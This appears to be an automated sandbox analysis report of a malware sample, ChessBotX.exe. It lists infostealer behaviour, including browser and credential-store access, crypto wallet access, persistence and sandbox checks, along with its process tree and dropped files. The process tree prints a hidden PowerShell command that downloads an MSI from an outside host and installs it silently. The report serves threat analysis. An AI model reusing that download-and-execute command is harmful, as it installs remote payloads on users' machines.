Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    16/04/2026, 04:38

General

  • Target
    ChessBotX.exe
  • Size 100KB
  • Sample260416-e9ndeafv2r
  • SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://tihunting.com/Setup.msi

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe
    "C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2052
    • C:\ProgramData\LavenderOrchid\ChessBotX.exe
      "C:\ProgramData\LavenderOrchid\ChessBotX.exe"
      2⤵
      • Adds Run key to start application
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks SCSI registry key(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll",start
        3⤵
        • Loads dropped DLL
        • Suspicious behavior: AddClipboardFormatListener
        PID:5076
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:5300
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:5892
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$f = \"$env:TEMP\Setup.msi\"; (New-Object System.Net.WebClient).Headers.Add('User-Agent', 'Mozilla/5.0'); (New-Object System.Net.WebClient).DownloadFile('https://tihunting.com/Setup.msi', $f); Start-Process msiexec.exe -Wait -ArgumentList \"/i `\"$f`\" /quiet /norestart\""
            3⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5924
            • C:\Windows\system32\msiexec.exe
              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup.msi" /quiet /norestart
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5332
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:2624
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:492
          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
            1⤵
              PID:4044
            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
              1⤵
                PID:2540
              • C:\Windows\system32\msiexec.exe
                C:\Windows\system32\msiexec.exe /V
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2360

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    ChessBotX.exe

                    • Path C:\ProgramData\LavenderOrchid\ChessBotX.exe
                    • Size 100KB
                    • SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    active_desktop_render_x64.dll

                    • Path C:\ProgramData\LavenderOrchid\active_desktop_render_x64.dll
                    • Size 7.9MB
                    • SHA256 cc6920f5e93bf9faeb2ef179d8bd7bd074149211f5f038167bea1e5303a7a9e5
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 4KB
                    • SHA256 9a5b5a00b20a03fd2be71402b364a3e6cd48b7c892c1450390307f71d49ee70d
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 255B
                    • SHA256 57ca306f7ea0f51e5de5082a52b6913dee01a751c6fcb8e18eadccd7a3674745
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 382B
                    • SHA256 92c7cd4e356f1836b8dacf9d5c4ab0fc0528989a5b66e7374e883a5c2242d5e6
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1018B
                    • SHA256 5968a147b444039fcad5b44c994c360362ed29763d00e60000f34ab49060aa85
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1KB
                    • SHA256 1d5d541fdde862a8494109bb76aac38f98841b01bda78232c6692339da948ea3
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1KB
                    • SHA256 86c2651d8d37b2b965f1d98aa34ef41379072d73fa96f7e03e12db487c61cda4
                    • MD5 SHA1 SHA512 TLSH

                    Log.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\Log.txt
                    • Size 1KB
                    • SHA256 5a26d8ff47ce4e4bb9389f1e92ad254c5f847e9f8927e2407aae53e5214d316d
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_fsjkn04r.03l.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fsjkn04r.03l.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    pwd_1080.db

                    • Path C:\Users\Admin\AppData\Local\Temp\pwd_1080.db
                    • Size 56KB
                    • SHA256 f6dd954d4ffd30161e6ef3c3242d3576a739366f9b73f396e45583af8829d178
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    pwd_4564.db

                    • Path C:\Users\Admin\AppData\Local\Temp\pwd_4564.db
                    • Size 40KB
                    • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    Adobe.dll

                    • Path C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll
                    • Size 1.3MB
                    • SHA256 66ad3c60614f2f3fbcae600644a9bcec87bb93b611baf251dd619acb7f2332d3
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/2052-0-0x00007FFD664B0000-0x00007FFD66955000-memory.dmp

                    memory/2052-11-0x00007FFD664B0000-0x00007FFD66955000-memory.dmp

                    memory/4180-108-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4180-221-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4180-90-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4180-14-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4180-226-0x00007FFD58240000-0x00007FFD586E5000-memory.dmp

                    memory/4180-13-0x00007FFD58240000-0x00007FFD586E5000-memory.dmp

                    memory/4180-26-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4180-12-0x00007FFD58240000-0x00007FFD586E5000-memory.dmp

                    memory/4180-27-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4180-109-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/4180-89-0x0000000140000000-0x0000000141F52000-memory.dmp

                    memory/5076-228-0x00007FFD66810000-0x00007FFD6695B000-memory.dmp

                    memory/5924-225-0x000001C5BED80000-0x000001C5BED92000-memory.dmp

                    memory/5924-103-0x000001C5D8BD0000-0x000001C5D8BF2000-memory.dmp